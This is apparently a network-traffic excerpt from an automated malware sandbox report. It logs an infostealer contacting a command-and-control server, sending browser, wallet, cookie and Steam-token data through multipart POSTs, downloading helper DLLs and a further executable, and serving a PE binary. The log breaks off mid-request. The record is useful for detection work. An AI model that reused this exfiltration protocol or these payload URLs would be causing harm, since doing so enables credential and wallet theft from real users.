Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 07:05:10 GMTContent-Type: application/octet-streamContent-Length: 4418048Last-Modified: Tue, 26 Nov 2024 06:57:43 GMTConnection: keep-aliveETag: "67457167-436a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 c0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c5 00 00 04 00 00 1c 32 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 a6 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 64 62 71 71 64 6e 71 00 c0 1b 00 00 f0 a9 00 00 b8 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 70 66 65 77 6f 61 73 00 10 00 00 00 b0 c5 00 00 04 00 00 00 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 c5 00 00 22 00 00 00 48 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFHDBFIDAECAAAKEGDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 37 45 45 32 34 34 38 46 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 2d 2d 0d 0a Data Ascii: ------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="hwid"E67EE2448F9B3566182515------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="build"mars------AKFHDBFIDAECAAAKEGDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"browsers------ECGDAAFIIJDAAAAKFHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="message"plugins------JKJDHDBKEBGHJJJJKEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"fplugins------EHDHDHIECGCAEBFIIDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: 185.215.113.206Content-Length: 7119Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DHCAAEBKEGHJKEBFHJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="file"------JDGIIDHJEBGIDHJJDBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBFHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file"------BKFBAKFCBFHIJJJJDBFC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="message"wallets------IIEBGIDAAFHIJJJJEGCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="message"files------BFBGDGIDBAAEBFHJKJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file"------GCBGCAFIIECBFIDHIJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 2d 2d 0d 0a Data Ascii: ------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="token"0a34c0a4f46b4f0194f825dad8435814d62c9a14301abeca458b88532a4d6fcf63a8081a------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="message"ybncbhylepme------EBGCBAFCGDAAKFIDGIEG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 61 33 34 63 30 61 34 66 34 36 62 34 66 30 31 39 34 66 38 32 35 64 61 64 38 34 33 35 38 31 34 64 36 32 63 39 61 31 34 33 30 31 61 62 65 63 61 34 35 38 62 38 38 35 33 32 61 34 64 36 66 63 66 36 33 61 38 30 38 31 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; 